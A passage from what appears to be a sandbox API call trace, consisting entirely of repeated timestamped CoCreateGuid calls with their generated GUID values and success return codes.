pguid=0x2504c7eb68*(Data1=0x2c45ca3, Data2=0xd3e6, Data3=0x4eca, Data4=([0]=0xa0, [1]=0x1e, [2]=0xb6, [3]=0x9a, [4]=0xb1, [5]=0x82, [6]=0x74, [7]=0x40))) returned 0x0 [0121.113] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xc046224d, Data2=0x2bbd, Data3=0x45fd, Data4=([0]=0xb0, [1]=0x8, [2]=0x3d, [3]=0xf8, [4]=0xad, [5]=0x50, [6]=0xe4, [7]=0xa1))) returned 0x0 [0121.114] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xc779c87d, Data2=0x4851, Data3=0x454a, Data4=([0]=0xbd, [1]=0x35, [2]=0xe6, [3]=0x17, [4]=0xa6, [5]=0x52, [6]=0xb6, [7]=0x51))) returned 0x0 [0121.115] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x326b4b7a, Data2=0xac92, Data3=0x41f8, Data4=([0]=0xb8, [1]=0xe5, [2]=0x2a, [3]=0x42, [4]=0xe1, [5]=0x8e, [6]=0x29, [7]=0x95))) returned 0x0 [0121.116] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x442fba1a, Data2=0x917d, Data3=0x4cc9, Data4=([0]=0x91, [1]=0x25, [2]=0x12, [3]=0xb, [4]=0xdd, [5]=0x7e, [6]=0x6, [7]=0xc2))) returned 0x0 [0121.117] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xe80262f8, Data2=0x4dcd, Data3=0x45cd, Data4=([0]=0x90, [1]=0x94, [2]=0x22, [3]=0x1e, [4]=0xba, [5]=0x43, [6]=0xe6, [7]=0xdf))) returned 0x0 [0121.118] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xb20dccca, Data2=0x33f1, Data3=0x496e, Data4=([0]=0xab, [1]=0xa4, [2]=0xbc, [3]=0x5a, [4]=0x4b, [5]=0x60, [6]=0x80, [7]=0xfb))) returned 0x0 [0121.118] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x4b6f77d6, Data2=0x2007, Data3=0x4b8d, Data4=([0]=0x8f, [1]=0x53, [2]=0x25, [3]=0x6a, [4]=0xe2, [5]=0x96, [6]=0x82, [7]=0x7a))) returned 0x0 [0121.119] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x9630e3b9, Data2=0xeaa5, Data3=0x4ee5, Data4=([0]=0x93, [1]=0xcf, [2]=0x76, [3]=0x33, [4]=0x3, [5]=0xf5, [6]=0x81, [7]=0x76))) returned 0x0 [0121.120] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x4fc2b07f, Data2=0x4ffd, Data3=0x4651, Data4=([0]=0xad, [1]=0x37, [2]=0x21, [3]=0x44, [4]=0x30, [5]=0xae, [6]=0x6b, [7]=0x93))) returned 0x0 [0121.121] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x66b7cb22, Data2=0x3c6c, Data3=0x4ed6, Data4=([0]=0xa9, [1]=0x62, [2]=0x87, [3]=0xb1, [4]=0x19, [5]=0x99, [6]=0xf3, [7]=0x7b))) returned 0x0 [0121.122] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x3bd1d5f6, Data2=0xbbc3, Data3=0x4594, Data4=([0]=0xb8, [1]=0xd4, [2]=0x62, [3]=0x6b, [4]=0x63, [5]=0x15, [6]=0xf2, [7]=0x75))) returned 0x0 [0121.124] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x4ea77fa8, Data2=0xef7c, Data3=0x4745, Data4=([0]=0x85, [1]=0x35, [2]=0xa, [3]=0xdc, [4]=0xb2, [5]=0x64, [6]=0x59, [7]=0xd7))) returned 0x0 [0121.124] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x3d8ee776, Data2=0xc754, Data3=0x418d, Data4=([0]=0xa8, [1]=0xfe, [2]=0xdb, [3]=0x76, [4]=0x13, [5]=0x21, [6]=0x70, [7]=0x95))) returned 0x0 [0121.125] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x7b1e9b93, Data2=0x18e, Data3=0x4fca, Data4=([0]=0x97, [1]=0x85, [2]=0x7b, [3]=0x6, [4]=0xfd, [5]=0xa6, [6]=0x7b, [7]=0x5f))) returned 0x0 [0121.126] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x755941de, Data2=0x96bf, Data3=0x4f07, Data4=([0]=0x90, [1]=0x13, [2]=0x4d, [3]=0x66, [4]=0x7f, [5]=0x7a, [6]=0x7e, [7]=0x1e))) returned 0x0 [0121.127] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x204fd282, Data2=0xc9fb, Data3=0x48c7, Data4=([0]=0x95, [1]=0x24, [2]=0x1c, [3]=0x11, [4]=0xaa, [5]=0x1, [6]=0x8c, [7]=0x67))) returned 0x0 [0121.572] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x5526d24e, Data2=0xa2c8, Data3=0x458a, Data4=([0]=0x98, [1]=0xbd, [2]=0xf3, [3]=0xcc, [4]=0xe1, [5]=0xbf, [6]=0x6d, [7]=0x18))) returned 0x0 [0121.575] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xcacd1538, Data2=0xb177, Data3=0x4d36, Data4=([0]=0xb8, [1]=0x14, [2]=0x5e, [3]=0xee, [4]=0xa2, [5]=0x7a, [6]=0x68, [7]=0xb7))) returned 0x0 [0121.580] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x1feae061, Data2=0x3589, Data3=0x4444, Data4=([0]=0xba, [1]=0x57, [2]=0xed, [3]=0x22, [4]=0xb7, [5]=0x77, [6]=0x4c, [7]=0x5d))) returned 0x0 [0121.678] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xf1242f9c, Data2=0xac39, Data3=0x4fad, Data4=([0]=0x85, [1]=0x92, [2]=0x50, [3]=0xc4, [4]=0xde, [5]=0x2b, [6]=0x5d, [7]=0x2c))) returned 0x0 [0121.680] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xd9cbd833, Data2=0x6da5, Data3=0x482b, Data4=([0]=0xbb, [1]=0xb0, [2]=0x81, [3]=0x89, [4]=0x30, [5]=0x39, [6]=0xd3, [7]=0x24))) returned 0x0 [0121.686] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x41db66af, Data2=0x4756, Data3=0x48c8, Data4=([0]=0xa7, [1]=0x11, [2]=0xfe, [3]=0x67, [4]=0xd3, [5]=0x21, [6]=0x8, [7]=0x97))) returned 0x0 [0121.692] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x8ca69fce, Data2=0x1d3b, Data3=0x434c, Data4=([0]=0x8e, [1]=0x7f, [2]=0x3d, [3]=0xd8, [4]=0x5d, [5]=0x72, [6]=0x58, [7]=0x9))) returned 0x0 [0121.695] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xdc980489, Data2=0x170a, Data3=0x4ed1, Data4=([0]=0x8e, [1]=0xf8, [2]=0x3e, [3]=0x4b, [4]=0xe8, [5]=0xef, [6]=0xca, [7]=0x90))) returned 0x0 [0121.698] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xa5f2f462, Data2=0xb187, Data3=0x4d5f, Data4=([0]=0x96, [1]=0xec, [2]=0x5c, [3]=0xd3, [4]=0xdb, [5]=0xfe, [6]=0xc0, [7]=0xa3))) returned 0x0 [0121.700] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x7513599, Data2=0x8ef3, Data3=0x4e6a, Data4=([0]=0x91, [1]=0x23, [2]=0x4d, [3]=0xee, [4]=0x0, [5]=0x6a, [6]=0xfc, [7]=0xe5))) returned 0x0 [0121.703] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x3baea715, Data2=0xbc41, Data3=0x473e, Data4=([0]=0xbd, [1]=0xc6, [2]=0x73, [3]=0x98, [4]=0xc8, [5]=0x1a, [6]=0xf9, [7]=0x2))) returned 0x0 [0121.705] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xad172339, Data2=0xd2ca, Data3=0x4e88, Data4=([0]=0xa3, [1]=0xe7, [2]=0x78, [3]=0xb1, [4]=0x48, [5]=0x9a, [6]=0xf8, [7]=0xa5))) returned 0x0 [0121.710] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x746ae90d, Data2=0xbd20, Data3=0x45b3, Data4=([0]=0x97, [1]=0x95, [2]=0xdf, [3]=0xa5, [4]=0x2d, [5]=0xdc, [6]=0xa8, [7]=0x64))) returned 0x0 [0121.712] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xb9619ccf, Data2=0x282, Data3=0x46a8, Data4=([0]=0xb2, [1]=0xa6, [2]=0x97, [3]=0x5c, [4]=0x9d, [5]=0x4a, [6]=0x0, [7]=0x4f))) returned 0x0 [0121.713] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xf8520a35, Data2=0x4fba, Data3=0x4c7d, Data4=([0]=0xae, [1]=0x92, [2]=0xa0, [3]=0xb0, [4]=0xe0, [5]=0x94, [6]=0x9e, [7]=0x91))) returned 0x0 [0121.714] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x66aa83e2, Data2=0xe25b, Data3=0x4a3b, Data4=([0]=0xbb, [1]=0xf1, [2]=0xed, [3]=0xc2, [4]=0xc3, [5]=0xe4, [6]=0x87, [7]=0x98))) returned 0x0 [0121.715] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x8a73eef2, Data2=0xe69e, Data3=0x46b9, Data4=([0]=0xb0, [1]=0xda, [2]=0x8f, [3]=0x5d, [4]=0xc7, [5]=0x44, [6]=0x36, [7]=0xfd))) returned 0x0 [0121.716] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x94e43511, Data2=0x5cc8, Data3=0x4514, Data4=([0]=0xb1, [1]=0x0, [2]=0x31, [3]=0x39, [4]=0xf6, [5]=0x69, [6]=0xa0, [7]=0x73))) returned 0x0 [0121.717] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xd59ddbed, Data2=0xa8ae, Data3=0x43d9, Data4=([0]=0xae, [1]=0xf6, [2]=0x36, [3]=0x30, [4]=0x49, [5]=0xee, [6]=0x6c, [7]=0x14))) returned 0x0 [0121.719] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x4932a162, Data2=0x17e3, Data3=0x42e0, Data4=([0]=0x92, [1]=0x4b, [2]=0x28, [3]=0x26, [4]=0xb1, [5]=0x9, [6]=0xc6, [7]=0x0))) returned 0x0 [0121.720] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xcd08f215, Data2=0xee00, Data3=0x4ed8, Data4=([0]=0xa8, [1]=0x9f, [2]=0x8c, [3]=0xe1, [4]=0x98, [5]=0x10, [6]=0x9b, [7]=0x10))) returned 0x0 [0121.721] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x55360ee2, Data2=0x977a, Data3=0x4a53, Data4=([0]=0xa5, [1]=0x69, [2]=0xdd, [3]=0x87, [4]=0x10, [5]=0xc2, [6]=0xeb, [7]=0xce))) returned 0x0 [0121.801] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x6e237659, Data2=0xb173, Data3=0x4ea6, Data4=([0]=0xbd, [1]=0x60, [2]=0x9, [3]=0x8e, [4]=0xba, [5]=0x2e, [6]=0x4f, [7]=0xd6))) returned 0x0 [0121.802] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xec4bdc44, Data2=0xd78c, Data3=0x432d, Data4=([0]=0xb1, [1]=0x73, [2]=0xd1, [3]=0xbe, [4]=0x2b, [5]=0x13, [6]=0xfd, [7]=0x3d))) returned 0x0 [0121.803] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x87924972, Data2=0xd9d2, Data3=0x4c24, Data4=([0]=0xab, [1]=0xb, [2]=0x3b, [3]=0xb5, [4]=0x19, [5]=0x35, [6]=0x91, [7]=0xf1))) returned 0x0 [0121.807] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x57c4d801, Data2=0x8d0c, Data3=0x4d0a, Data4=([0]=0x9d, [1]=0x14, [2]=0x3f, [3]=0x18, [4]=0x6b, [5]=0xb0, [6]=0xbf, [7]=0x16))) returned 0x0 [0121.809] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xb847c87, Data2=0xd4d7, Data3=0x4f7c, Data4=([0]=0xb0, [1]=0x27, [2]=0xdc, [3]=0x6c, [4]=0xdf, [5]=0x64, [6]=0xac, [7]=0xf7))) returned 0x0 [0121.812] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x80086787, Data2=0x8da7, Data3=0x469d, Data4=([0]=0xa4, [1]=0x26, [2]=0x1e, [3]=0x86, [4]=0xef, [5]=0xc9, [6]=0xe0, [7]=0x75))) returned 0x0 [0121.814] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x16137cb4, Data2=0x220c, Data3=0x49ff, Data4=([0]=0x8a, [1]=0xc7, [2]=0x3c, [3]=0xe, [4]=0x76, [5]=0x84, [6]=0xe6, [7]=0xe1))) returned 0x0 [0121.815] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x4c804a90, Data2=0x490c, Data3=0x4825, Data4=([0]=0x83, [1]=0x20, [2]=0xf2, [3]=0xd2, [4]=0x1e, [5]=0xdb, [6]=0x7b, [7]=0xe2))) returned 0x0 [0121.817] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xcf28518e, Data2=0x6457, Data3=0x4692, Data4=([0]=0x96, [1]=0x14, [2]=0x78, [3]=0x5, [4]=0x87, [5]=0xdb, [6]=0xf5, [7]=0x4d))) returned 0x0 [0121.817] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xcfb0c20c, Data2=0x959a, Data3=0x447e, Data4=([0]=0xa0, [1]=0x20, [2]=0x29, [3]=0x16, [4]=0x4e, [5]=0x7a, [6]=0x83, [7]=0x2a))) returned 0x0 [0121.819] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x1547889d, Data2=0x7086, Data3=0x48a2, Data4=([0]=0x85, [1]=0xaa, [2]=0xb8, [3]=0x9f, [4]=0xad, [5]=0x77, [6]=0x87, [7]=0x2a))) returned 0x0 [0121.820] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xd712f9df, Data2=0x9b7, Data3=0x4894, Data4=([0]=0x9c, [1]=0x69, [2]=0xb, [3]=0xd7, [4]=0xa3, [5]=0x5b, [6]=0x1a, [7]=0x57))) returned 0x0 [0121.822] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x412b1b08, Data2=0x41bf, Data3=0x4d96, Data4=([0]=0xa7, [1]=0x13, [2]=0xf0, [3]=0x40, [4]=0xbf, [5]=0x1c, [6]=0x67, [7]=0x48))) returned 0x0 [0121.824] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x90bd12ba, Data2=0xa2b0, Data3=0x43b3, Data4=([0]=0xaf, [1]=0xea, [2]=0x36, [3]=0x42, [4]=0xc1, [5]=0x96, [6]=0x0, [7]=0x61))) returned 0x0 [0121.825] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xdcbd5e62, Data2=0xd969, Data3=0x458c, Data4=([0]=0x84, [1]=0xb7, [2]=0x4f, [3]=0x3, [4]=0x5c, [5]=0x3, [6]=0x6b, [7]=0xb))) returned 0x0 [0121.827] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x1589eaa8, Data2=0x36ec, Data3=0x47e7, Data4=([0]=0x9e, [1]=0xc3, [2]=0x7b, [3]=0xaf, [4]=0xf8, [5]=0x2a, [6]=0x9d, [7]=0x27))) returned 0x0 [0121.829] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x93c02c87, Data2=0xb192, Data3=0x4c5b, Data4=([0]=0xa2, [1]=0x61, [2]=0x69, [3]=0x7, [4]=0x44, [5]=0xed, [6]=0x5, [7]=0xa5))) returned 0x0 [0121.830] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xdcfd7e66, Data2=0xa34, Data3=0x453a, Data4=([0]=0x8a, [1]=0xce, [2]=0x57, [3]=0x10, [4]=0x6d, [5]=0x4c, [6]=0xf8, [7]=0xa7))) returned 0x0 [0121.834] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x8da62d2c, Data2=0xce6d, Data3=0x42bf, Data4=([0]=0x81, [1]=0xc2, [2]=0x6b, [3]=0x3b, [4]=0xc9, [5]=0xc2, [6]=0xae, [7]=0x18))) returned 0x0 [0121.835] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x81a15a94, Data2=0x3e1c, Data3=0x48e2, Data4=([0]=0x82, [1]=0x1f, [2]=0x78, [3]=0x9f, [4]=0x39, [5]=0x70, [6]=0xb2, [7]=0xe5))) returned 0x0 [0121.836] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xc0e3a76, Data2=0xba9f, Data3=0x4aba, Data4=([0]=0x94, [1]=0x21, [2]=0xd, [3]=0x19, [4]=0xde, [5]=0xa6, [6]=0x3b, [7]=0xd6))) returned 0x0 [0121.836] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x843c4621, Data2=0xaa5c, Data3=0x4eb2, Data4=([0]=0xb3, [1]=0x0, [2]=0x22, [3]=0x9e, [4]=0x18, [5]=0xf7, [6]=0xec, [7]=0x4a))) returned 0x0 [0121.837] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x8f0e6932, Data2=0x670a, Data3=0x4ead, Data4=([0]=0xb7, [1]=0x72, [2]=0xc0, [3]=0xbe, [4]=0xda, [5]=0xf5, [6]=0x58, [7]=0x8d))) returned 0x0 [0121.837] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xf4102650, Data2=0xca99, Data3=0x4844, Data4=([0]=0x91, [1]=0xab, [2]=0x29, [3]=0xc5, [4]=0x4d, [5]=0x80, [6]=0xaf, [7]=0x9a))) returned 0x0 [0121.838] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xc30cfd0e, Data2=0xd13d, Data3=0x40b4, Data4=([0]=0x82, [1]=0x31, [2]=0x8f, [3]=0xd1, [4]=0x50, [5]=0x52, [6]=0x4b, [7]=0x77))) returned 0x0 [0121.838] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x7885ca09, Data2=0x727d, Data3=0x42d4, Data4=([0]=0xa1, [1]=0x94, [2]=0x58, [3]=0xc, [4]=0x17, [5]=0xaa, [6]=0x87, [7]=0x75))) returned 0x0 [0121.840] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x5b625e36, Data2=0x7d6, Data3=0x4266, Data4=([0]=0xb3, [1]=0x85, [2]=0xce, [3]=0x1d, [4]=0x51, [5]=0x17, [6]=0x27, [7]=0x3))) returned 0x0 [0121.840] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x77935b66, Data2=0x19a9, Data3=0x44b7, Data4=([0]=0xb0, [1]=0x53, [2]=0xee, [3]=0x28, [4]=0xa6, [5]=0x59, [6]=0xde, [7]=0x87))) returned 0x0 [0121.841] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x86edec09, Data2=0xbb2d, Data3=0x4c08, Data4=([0]=0xb5, [1]=0xf7, [2]=0x9, [3]=0xe3, [4]=0x39, [5]=0xee, [6]=0x97, [7]=0xc6))) returned 0x0 [0121.843] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x7e9d7a00, Data2=0x72aa, Data3=0x42ec, Data4=([0]=0x8f, [1]=0xe6, [2]=0xf1, [3]=0x12, [4]=0x38, [5]=0xc9, [6]=0x34, [7]=0x7b))) returned 0x0 [0121.844] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x7bc9dfc8, Data2=0xcdc0, Data3=0x440a, Data4=([0]=0xbe, [1]=0xb4, [2]=0xf6, [3]=0xe3, [4]=0xad, [5]=0xa4, [6]=0xd0, [7]=0x58))) returned 0x0 [0121.845] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xbd293a88, Data2=0x522e, Data3=0x4b18, Data4=([0]=0x9e, [1]=0x9c, [2]=0x47, [3]=0xa5, [4]=0xa2, [5]=0x93, [6]=0x26, [7]=0x7f))) returned 0x0 [0121.846] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x7b232810, Data2=0x8e2a, Data3=0x4cff, Data4=([0]=0x98, [1]=0x0, [2]=0xdc, [3]=0x9d, [4]=0x1e, [5]=0x4a, [6]=0x5f, [7]=0x28))) returned 0x0 [0121.847] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x73fac3fc, Data2=0xbd6, Data3=0x43d6, Data4=([0]=0x87, [1]=0x7e, [2]=0x2c, [3]=0xcc, [4]=0xe8, [5]=0x6d, [6]=0x85, [7]=0x4d))) returned 0x0 [0121.847] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xbf88b660, Data2=0x43e4, Data3=0x4ca9, Data4=([0]=0xa8, [1]=0x10, [2]=0x5b, [3]=0x99, [4]=0x69, [5]=0xf4, [6]=0x57, [7]=0x71))) returned 0x0 [0121.897] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xa1daf59a, Data2=0xf64e, Data3=0x49c6, Data4=([0]=0x87, [1]=0xa9, [2]=0xaf, [3]=0x1b, [4]=0x1, [5]=0x6, [6]=0x5a, [7]=0xe3))) returned 0x0 [0121.897] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x3aef35d4, Data2=0xae05, Data3=0x4411, Data4=([0]=0xb6, [1]=0xf0, [2]=0x69, [3]=0x4, [4]=0xc5, [5]=0x9b, [6]=0xad, [7]=0xa))) returned 0x0 [0121.898] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xa55afe92, Data2=0xebe5, Data3=0x48ba, Data4=([0]=0x99, [1]=0xe1, [2]=0x42, [3]=0x36, [4]=0x9c, [5]=0x43, [6]=0x72, [7]=0xc3))) returned 0x0 [0121.899] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x5ffd2df9, Data2=0xad9b, Data3=0x4a1c, Data4=([0]=0xae, [1]=0xde, [2]=0xdc, [3]=0x40, [4]=0x10, [5]=0xfd, [6]=0xc4, [7]=0xc4))) returned 0x0 [0121.900] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xeb97b364, Data2=0x7e0b, Data3=0x4a30, Data4=([0]=0xb8, [1]=0xff, [2]=0x97, [3]=0xf0, [4]=0xd4, [5]=0x20, [6]=0x1e, [7]=0x43))) returned 0x0 [0121.901] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xb16847b1, Data2=0x9be, Data3=0x40b0, Data4=([0]=0xb8, [1]=0xde, [2]=0x9a, [3]=0x70, [4]=0xfd, [5]=0x88, [6]=0xfd, [7]=0x6d))) returned 0x0 [0121.901] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x59c6f8f1, Data2=0x8208, Data3=0x4ad6, Data4=([0]=0xbb, [1]=0xfc, [2]=0x93, [3]=0xef, [4]=0x8c, [5]=0x57, [6]=0x44, [7]=0x3b))) returned 0x0 [0121.902] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x159ff3fc, Data2=0x4de9, Data3=0x489d, Data4=([0]=0x8d, [1]=0x42, [2]=0xf7, [3]=0x5b, [4]=0xd1, [5]=0x8, [6]=0xea, [7]=0xb7))) returned 0x0 [0121.902] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xec436b65, Data2=0xb0b0, Data3=0x437c, Data4=([0]=0xba, [1]=0x92, [2]=0xff, [3]=0x6e, [4]=0x32, [5]=0xb8, [6]=0x24, [7]=0xed))) returned 0x0 [0121.903] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x18abc851, Data2=0x65b0, Data3=0x4ab9, Data4=([0]=0x9a, [1]=0xb4, [2]=0xa1, [3]=0x22, [4]=0xae, [5]=0x1c, [6]=0xfd, [7]=0x85))) returned 0x0 [0121.904] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xc33dc69c, Data2=0x6404, Data3=0x42c6, Data4=([0]=0x81, [1]=0xe0, [2]=0x31, [3]=0x9c, [4]=0x37, [5]=0x32, [6]=0x10, [7]=0x93))) returned 0x0 [0121.905] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xef64e519, Data2=0x2d34, Data3=0x47eb, Data4=([0]=0x81, [1]=0x95, [2]=0x3d, [3]=0x44, [4]=0xbc, [5]=0x2c, [6]=0x35, [7]=0x44))) returned 0x0 [0121.905] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x390cbf5f, Data2=0xd763, Data3=0x4fa2, Data4=([0]=0x8a, [1]=0x75, [2]=0x15, [3]=0xb2, [4]=0xb, [5]=0x1b, [6]=0x3a, [7]=0xc0))) returned 0x0 [0121.906] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x882d0fa8, Data2=0xcbaf, Data3=0x4b1c, Data4=([0]=0x8f, [1]=0xf0, [2]=0xb5, [3]=0xe7, [4]=0x69, [5]=0xae, [6]=0x3f, [7]=0x5f))) returned 0x0 [0121.907] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x177f4e84, Data2=0x13e4, Data3=0x4284, Data4=([0]=0xbb, [1]=0x4, [2]=0xe7, [3]=0x21, [4]=0x25, [5]=0xb6, [6]=0x42, [7]=0x4f))) returned 0x0 [0121.907] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xb3f84d54, Data2=0x3bc6, Data3=0x470a, Data4=([0]=0x80, [1]=0x9f, [2]=0x8, [3]=0xca, [4]=0x36, [5]=0x45, [6]=0x28, [7]=0xe0))) returned 0x0 [0121.908] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x71fde1c1, Data2=0xa765, Data3=0x406c, Data4=([0]=0x87, [1]=0x42, [2]=0xf8, [3]=0x57, [4]=0x9a, [5]=0x1d, [6]=0x83, [7]=0xef))) returned 0x0 [0121.910] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x9ffaa06, Data2=0x53d8, Data3=0x4d13, Data4=([0]=0x8e, [1]=0x4d, [2]=0x37, [3]=0xa7, [4]=0x86, [5]=0xb4, [6]=0x91, [7]=0x5c))) returned 0x0 [0121.912] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xb1f6bf9b, Data2=0x132c, Data3=0x49fe, Data4=([0]=0x8c, [1]=0x41, [2]=0xc2, [3]=0xa9, [4]=0x31, [5]=0xe4, [6]=0x7c, [7]=0x1d))) returned 0x0 [0121.913] CoCreateGuid (in: pguid=0x2504c7eb68 | 